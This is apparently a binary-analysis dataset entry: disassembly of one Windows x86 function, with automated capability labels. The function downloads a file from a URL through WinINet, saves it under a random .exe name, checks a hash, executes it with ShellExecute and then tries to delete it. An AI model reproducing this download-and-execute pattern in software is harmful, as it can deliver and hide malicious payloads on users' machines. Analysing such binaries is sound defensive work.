Function at 0x4228e0
Capabilities:
Check for time delay via gettickcount
Create http request
Create process on windows
Delete file
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xf4ab4
call fcn.00424090
mov dword [ebp - 0xf4650], 0
push 0
lea eax, [ebp - 0xf4648]
push eax
call fcn.004219f0
add esp, 8
cmp dword [ebp + 0x18], 0
je 0x42292a
mov ecx, dword [ebp + 0x18]
push ecx
lea edx, [ebp - 0xf468f]
push edx
call fcn.00423c20
add esp, 8
mov byte [ebp - 0xf4690], 0x5c
jmp 0x422988
mov dword [ebp - 0xf4698], 0
jmp 0x422945
mov eax, dword [ebp - 0xf4698]
add eax, 1
mov dword [ebp - 0xf4698], eax
cmp dword [ebp - 0xf4698], 0xa
jge 0x42296d
call fcn.00423e1d
cdq
mov ecx, 0x1a
idiv ecx
add edx, 0x61
mov eax, dword [ebp - 0xf4698]
mov byte [ebp + eax - 0xf4690], dl
jmp 0x422936
mov byte [ebp - 0xf4690], 0x5c
push str..exe
lea ecx, [ebp - 0xf4687]
push ecx
call fcn.00423c20
add esp, 8
lea edx, [ebp - 0xf4690]
push edx
lea eax, [ebp - 0xf4648]
push eax
call fcn.00423c30
add esp, 8
push 0
push 0
push 0
push 1
push str.Download_Agent
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xf4244], eax
cmp dword [ebp - 0xf4244], 0
jne 0x4229c7
xor eax, eax
jmp 0x422c9a
push 0
push 0x410
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xf4244]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xf4694], eax
cmp dword [ebp - 0xf4694], 0
jne 0x422a06
mov eax, dword [ebp - 0xf4244]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x422c9a
mov dword [ebp - 0xf464c], 0
cmp dword [ebp - 0xf464c], 8
jge 0x422c7a
mov dword [ebp - 0xf46a0], 0
mov ecx, dword [ebp - 0xf464c]
add ecx, 1
mov dword [ebp - 0xf464c], ecx
mov dword [ebp - 0xf469c], 0xc350
lea edx, [ebp - 0xf46a0]
push edx
push 0xf3e58
lea eax, [ebp - 0xf4240]
push eax
mov ecx, dword [ebp - 0xf4694]
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x422c75
push 0x435ccc
mov edx, dword [ebp + 8]
push edx
call fcn.00423fb0
add esp, 8
test eax, eax
je 0x422ac7
cmp dword [ebp - 0xf46a0], 4
jbe 0x422a92
mov eax, dword [ebp - 0xf4240]
mov dword [ebp - 0xf469c], eax
mov ecx, dword [ebp - 0xf46a0]
cmp ecx, dword [ebp - 0xf469c]
jae 0x422ac7
push 0
push 0x410
push 0
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0xf4244]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0xf4694], eax
jmp 0x422a10
push 0x435cd4
lea ecx, [ebp - 0xf4648]
push ecx
call fcn.004257b5
add esp, 8
mov dword [ebp - 0xf46a4], eax
cmp dword [ebp - 0xf46a4], 0
je 0x422c75
push str..ex2
mov edx, dword [ebp + 8]
push edx
call fcn.00423fb0
add esp, 8
test eax, eax
je 0x422b27
mov eax, dword [ebp - 0xf46a4]
push eax
mov ecx, dword [ebp - 0xf46a0]
sub ecx, 4
push ecx
push 1
lea edx, [ebp - 0xf423c]
push edx
call fcn.00425e42
add esp, 0x10
jmp 0x422b46
mov eax, dword [ebp - 0xf46a4]
push eax
mov ecx, dword [ebp - 0xf46a0]
push ecx
push 1
lea edx, [ebp - 0xf4240]
push edx
call fcn.00425e42
add esp, 0x10
mov eax, dword [ebp - 0xf46a4]
push eax
call fcn.004256aa
add esp, 4
push 0
push str.9D5A0C55F058B7C1FC78B8CE8D2F3C
call fcn.00422d00
add esp, 8
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00422d00
add esp, 8
push eax
call fcn.004301ee
add esp, 8
test eax, eax
jne 0x422b8c
mov dword [ebp - 0xf46a8], 6
jmp 0x422bc5
cmp dword [ebp + 0x14], 0
je 0x422baf
push 0x104
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 0x10]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [ebp - 0xf4ab4], eax
jmp 0x422bb9
mov dword [ebp - 0xf4ab4], 6
mov ecx, dword [ebp - 0xf4ab4]
mov dword [ebp - 0xf46a8], ecx
cmp dword [ebp - 0xf46a8], 6
jne 0x422c3b
lea edx, [ebp - 0xf4648]
push edx
lea eax, [ebp - 0xf4ab0]
push eax
call fcn.00423c20
add esp, 8
cmp dword [ebp + 0x1c], 0
je 0x422c12
mov ecx, dword [ebp + 0x1c]
push ecx
push 0x435d00
lea edx, [ebp - 0xf4ab0]
push edx
call fcn.00423b90
add esp, 4
lea eax, [ebp + eax - 0xf4ab0]
push eax
call fcn.00423db8
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0xf4ab0]
push ecx
lea edx, [ebp - 0xf4648]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 0xf4650], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0xf46ac], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0xf46ac]
cmp eax, 0x1388
jae 0x422c75
lea eax, [ebp - 0xf4648]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x422c75
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x422c47
jmp 0x422a10
mov ecx, dword [ebp - 0xf4694]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0xf4244]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0xf4650]
mov esp, ebp
pop ebp
ret